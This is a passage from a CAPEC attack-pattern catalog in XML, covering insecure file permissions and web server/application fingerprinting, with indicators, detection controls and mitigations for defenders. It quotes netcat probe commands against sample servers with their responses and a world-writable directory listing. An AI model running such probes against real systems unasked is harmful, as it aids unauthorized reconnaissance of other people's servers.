				<Related_Weakness>
					<CWE_ID>497<!--Exposure of System Data to an Unauthorized Control Sphere-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>200<!--Information Exposure-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>202<!--Exposure of Sensitive Data Through Data Queries-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>538<!--File and Directory Information Exposure-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>312<!--Cleartext Storage of Sensitive Information-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>319<!--Cleartext Transmission of Sensitive Information-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>276<!--Incorrect Default Permissions-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>281<!--Analytic Attacks-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/281.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>224<!--Fingerprinting-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Manic Velocity</Reference_Author>
					<Reference_Title>Footprinting And The Basics Of Hacking</Reference_Title>
					<Reference_Publication>Web Textfiles</Reference_Publication>
					<Reference_Link>http://web.textfiles.com/hacking/footprinting.txt</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Eddie Sutton</Reference_Author>
					<Reference_Title>Footprint: What Is And How Do You Erase Them</Reference_Title>
					<Reference_Link>http://www.infosecwriters.com/text_resources/pdf/Footprinting.pdf</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="17" Name="Accessing, Modifying or Executing Executable Files"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type exploits a system's configuration that allows an
						attacker to either directly access an executable file, for example through
						shell access; or in a possible worst case allows an attacker to upload a
						file and then execute it. Web servers, ftp servers, and message oriented
						middleware systems which have many integration points are particularly
						vulnerable, because both the programmers and the administrators must be in
						synch regarding the interfaces and the correct privileges for each
						interface.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>System's configuration must allow an attacker to directly access
						executable files or upload files to execute. This means that any access
						control system that is supposed to mediate communications between the
						subkect and the object is set incorrectly or assumes a benign
						environment.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Consider a directory on a web server with the following
							permissions</Text>
						<Block>
							<Code>drwxrwxrwx 5 admin public 170 Nov 17 01:08 webroot</Code>
						</Block>
						<Text>This could allow an attacker to both execute and upload and execute
							programs' on the web server. This one vulnerability can be exploited by
							a threat to probe the system and identify additional vulnerabilities to
							exploit.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To identify and execute against an overprivileged system
							interface</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to communicate synchronously or asynchronously with server that
					publishes an overprivileged directory, program, or interface. Optionally,
					ability to capture output directly through synchronous communication or other
					method such as FTP.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Run server interfaces with a non-root account and/or utilize
						chroot jails or other configuration techniques to constrain privileges even
						if attacker gains some limited access to commands.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform testing such as pentesting and vulnerability
						scanning to identify directories, programs, and interfaces that grant direct
						access to executables.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through standard communication protocols.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on host</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>272<!--Least Privilege Violation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>59<!--Improper Link Resolution Before File Access ('Link Following')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>282<!--Improper Ownership Management--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>275<!--Permission Issues--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>264<!--Permissions, Privileges, and Access Controls--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>270<!--Privilege Context Switching Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>1<!--Accessing Functionality Not Properly Constrained by ACLs--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>233<!--Privilege Escalation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>165<!--File Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>350<!--WASC Threat Classification 2.0 - WASC-17 - Improper Filesystem Permissions--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Description and Examples</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="170" Name="Web Server/Application Fingerprinting"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends a series of probes to a web server or application in
						order to elicit version-dependent and type-dependent behavior that assists
						in identifying the target. An attacker could learn information such as
						software versions, error pages, and response headers, variations in
						implementations of the HTTP protocol, directory structures, and other
						similar information about the targeted service. This information can then be
						used by an attacker to formulate a targeted attack plan. While web
						server/application fingerprinting is not intended to be damaging (although
						certain activities, such as network scans, can sometimes cause disruptions
						to vulnerable applications inadvertently) it may often pave the way for more
						damaging attacks.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Request
											fingerprinting</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Use automated tools or send web server specific
												commands to web server and wait for server’s
												response.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use automated tools or send web server
												specific commands to web server and then receive
												server’s response.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>HTTP response headers contain fingerprinting
												sensitive fields indicating server’s vendors and
												versions. </Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>HTTP response headers do not contain
												fingerprinting sensitive fields indicating
												server’s vendors and versions.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of fingerprinting
												sensitive information from HTTP response
												headers.</Outcome_Description>
											</Outcome>
											<Outcome ID="1" type="Failure">
												<Outcome_Description>There is no HTTP response
												header information
												available.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Web application
												firewall may detect a large amount of HTTP
												requests from the same
												host.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Increase the accuracy of server
											fingerprinting of Web servers</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker usually needs to send several different
												commands to accurately identify the web server.
												Attacker can also use automated tools to send
												requests to the server. The responses of the server
												may be different in terms of protocol
												behavior.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Observe the ordering of the several HTTP
												response headers. The ordering of the header of
												each server may have unique identities.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Send bad requests or requests of nonexistent
												pages to the server. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Attacker takes existing automated tools to
												recognize the type and the version of the web
												server in use.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Find different inner reordering of headers
												in HTTP response due to different versions of the
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Every server answers to a Bad request in a
												different way due to different versions of the
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>Find signatures of web servers in database
												of automated tools.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>HTTP response headers all look like
												identical. </Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker successfully
												identifies server’s vendors and versions.
												</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Alert on standard
												fingerprinting probes. Use the same vulnerability
												catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Alert on bad
												request.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Obfuscate server
												fields of HTTP
												response.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Hide inner ordering of
												HTTP response
												header.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Customizing HTTP error
												codes such as 404 or
												500.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify Web Application
											Software</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>After the web server platform software has been
												identified, the attacker start to identify web
												application technologies such as ASP, .NET, PHP and
												Java on the server.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Examine the file name extensions in URL, for
												example .php indicates PHP script interfaced with
												Apache server. </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Examine the HTTP Response Headers. This may
												leak information about software signatures </Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Examine Cookies that may contain server’s
												software information.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Check error pages.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>File name extensions can be found in the
												URL. </Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>HTTP Response headers show software version.
												</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>Cookies leak information for server’s
												version.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Positive">
												<Indicator_Description>
												<Text>From error messages, the stack trace of
												errors and exceptions may also explicitly tell
												application software information. </Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>File name extensions can be
												found in the URL. </Outcome_Description>
											</Outcome>
											<Outcome ID="1" type="Success">
												<Outcome_Description>HTTP Response headers show
												software version. </Outcome_Description>
											</Outcome>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Cookies leak information for
												server’s version.</Outcome_Description>
											</Outcome>
											<Outcome ID="1" type="Success">
												<Outcome_Description>From error messages, the stack
												trace of errors and exceptions may also explicitly
												tell application software information.
												</Outcome_Description>
											</Outcome>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker successfully
												identifies web application software vendors and
												versions. </Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Alert on standard
												fingerprinting probes. Use the same vulnerability
												catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Alert on bad
												request.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Hide URL file
												extention.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Hide HTTP response
												header software information
												filed.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description>Hide cookie’s software
												information filed</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="6" type="Preventative">
												<Security_Control_Description>Appropriately deal
												with error
												messages.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify Backend Database
											Version</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determining the database engine type can assist
												attackers’ attempt to successfully execute SQL
												injection. Some database API such as ODBC will show
												a database type as part of the driver information
												when reporting an error.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use tools to send bogus SQL query to the
												server and check error pages.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Get error messages from SQL response.
												</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>No error messages.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker successfully
												identifies database type from error messages.
												</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The attacker fails to identify
												database type from error messages.
												</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Alert on standard
												fingerprinting probes. Use the same vulnerability
												catalogs that hackers
												use.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Alert on bad
												request.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Obfuscate database
												type in Database API’s error message.
												</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Any web server/application can be fingerprinted. However, some
						configuration choices can limit the useful information an attacker may
						collect during a fingerprinting attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text> An attacker sends malformed requests or requests of nonexistent pages
							to the server. Consider the following HTTP responses. Response from
							Apache 1.3.23 $ nc apache.server.com 80 GET / HTTP/3.0 HTTP/1.1 400 Bad
							Request Date: Sun, 15 Jun 2003 17:12: 37 GMT Server: Apache/1.3.23
							Connection: close Transfer: chunked Content-Type: text/HTML;
							charset=iso-8859-1 Response from IIS 5.0 $ nc iis.server.com 80 GET /
							HTTP/3.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location:
							http://iis.example.com/Default.htm Date: Fri, 01 Jan 1999 20:14: 02 GMT
							Content-Type: text/HTML Accept-Ranges: bytes Last-Modified: Fri, 01 Jan
							1999 20:14: 02 GMT ETag: W/e0d362a4c335be1: ae1 Content-Length: 133 *
							This example content is from: Testing for Web Application Fingerprint
							(OWASP-IG-004).
							http://www.owasp.org/index.php/Testing_for_Web_Application_Fingerprint_%28OWASP-IG-004%29
						</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Attacker knows how to send HTTP request, SQL query to a web
							application.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>While simple fingerprinting can be accomplished with only a web browser, for
					more thorough fingerprinting an attacker requires a variety of tools to collect
					information about the target. These tools might include protocol analyzers,
					web-site crawlers, and fuzzing tools. Footprinting a service adequately may also
					take a few days if the attacker wishes the footprinting attempt to go
					undetected.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Obfuscate server fields of HTTP response.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Hide inner ordering of HTTP response header.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Customizing HTTP error codes such as 404 or 500.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Hide URL file extention.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Hide HTTP response header software information
						filed.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Hide cookie’s software information filed.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Appropriately deal with error messages.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Obfuscate database type in Database API’s error
						message.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Any HTTP Request transport variables (HTTP Headers, etc.)</Text>
			</Injection_Vector>
			<Activation_Zone>
				<Text>HTTP request and response</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Leakage server’s information.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>224<!--Fingerprinting-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
